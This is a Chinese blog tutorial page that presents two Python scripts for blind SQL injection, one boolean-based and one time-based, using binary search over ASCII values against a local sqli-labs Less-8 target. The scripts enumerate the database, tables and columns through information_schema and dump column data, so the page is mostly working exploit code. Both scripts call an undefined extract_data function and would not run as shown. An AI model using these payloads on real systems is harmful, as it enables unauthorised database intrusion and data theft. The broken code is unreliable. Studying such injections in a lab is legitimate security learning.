当前位置: 首页 > news >正文

利用二分法+布尔盲注、时间盲注进行sql注入

一、布尔盲注:

import requests
 
def binary_search_character(url, query, index, low=32, high=127):
    while low < high:
        mid = (low + high + 1) // 2
        payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "
        res = {"id": payload}
        r = requests.get(url, params=res)
 
        if "You are in.........." in r.text:
            low = mid
        else:
            high = mid - 1
 
    return chr(low) if low > 32 else ''
 
if __name__ == '__main__':
    url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'
    database_name = extract_data(url, "SELECT database()")
    print(f"数据库名: {database_name}")
 
    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    table_names = extract_data(url, table_name_query)
    print(f"表名: {table_names}")
 
    table_name = table_names.split(',')[0]
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    column_names = extract_data(url, column_name_query)
    print(f"列名: {column_names}")
 
    column_name = column_names.split(',')[1]
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    extracted_values = extract_data(url, data_query)
    print(f"数据: {extracted_values}")
    print(f"数据库名: {database_name}")
    print(f"表名: {table_names}")
    print(f"列名: {column_names}")
    print(f"数据: {extracted_values}")

二、时间盲注:

import requests
import time
 
def binary_search_character(url, query, index, low=32, high=127):
    while low < high:
        mid = (low + high + 1) // 2
        payload = f"1' AND IF(ASCII(SUBSTRING(({query}),{index},1)) >= {mid}, SLEEP(2), 0) -- "
        res = {"id": payload}
        
        start_time = time.time()
        r = requests.get(url, params=res)
        response_time = time.time() - start_time
        
        if response_time > 1.5:  # 服务器延迟意味着条件成立
            low = mid
        else:
            high = mid - 1
 
    return chr(low) if low > 32 else ''
 
if __name__ == '__main__':
    url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'
    database_name = extract_data(url, "SELECT database()")
    print(f"数据库名: {database_name}")
 
    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    table_names = extract_data(url, table_name_query)
    print(f"表名: {table_names}")
 
    table_name = table_names.split(',')[0]
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    column_names = extract_data(url, column_name_query)
    print(f"列名: {column_names}")
 
    column_name = column_names.split(',')[1]
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    extracted_values = extract_data(url, data_query)
    print(f"数据: {extracted_values}")

相关文章:

  • CNN|ResNet-50
  • java基础——IO流
  • 对界面简单易用封装SDK
  • 动态多线程算法概述
  • 重新出发的LLM本地部署——DeepSeek加持下的Ollama+OpenWebUI快速部署
  • 【自学笔记】计算机视觉基础知识点总览-持续更新
  • 基于Python豆瓣电影数据可视化分析系统的设计与实现
  • 核货宝外贸订货系统:批发贸易企业出海的强劲东风
  • 【Rust中级教程】1.9. 所有权(简单回顾):所有权的核心思想、如何实现`Copy` trait、值的删除(丢弃)、值删除的顺序
  • 第1章大型互联网公司的基础架构——1.6 RPC服务
  • python利用jenkins模块操作jenkins
  • 七、Java常用API(2)
  • [特殊字符] C语言中打开和关闭文件的两种方法:标准库 VS 系统调用
  • layui怎么请求数据
  • 红队视角出发的k8s敏感信息收集——日志与监控系统
  • 【机器学习】向量化使得简单线性回归性能提升
  • 计算机网络知识速记 HTTPS的工作流程
  • 《Stable Diffusion绘画完全指南:从入门到精通的Prompt设计艺术》 第六章
  • Windows 安装 GDAL 并配置 Rust-GDAL 开发环境-1
  • Unity Shader示例 6: 卡渲基础 - 描边 + 着色
  • 山东一景区怕游客赶不到海撒三千斤蛤蜊:给游客提供情绪价值
  • 山西太原一小区发生爆炸,太原:进一步深刻汲取教训
  • 乌美矿产协议文本公布,明确乌收益及协议优先级
  • 净海护渔,中国海警局直属第一局开展伏季休渔普法宣传活动
  • 强制性国家标准《危险化学品企业安全生产标准化通用规范》发布
  • 共绘“彩色上海”,IP SH艺术共创沙龙首期圆满举办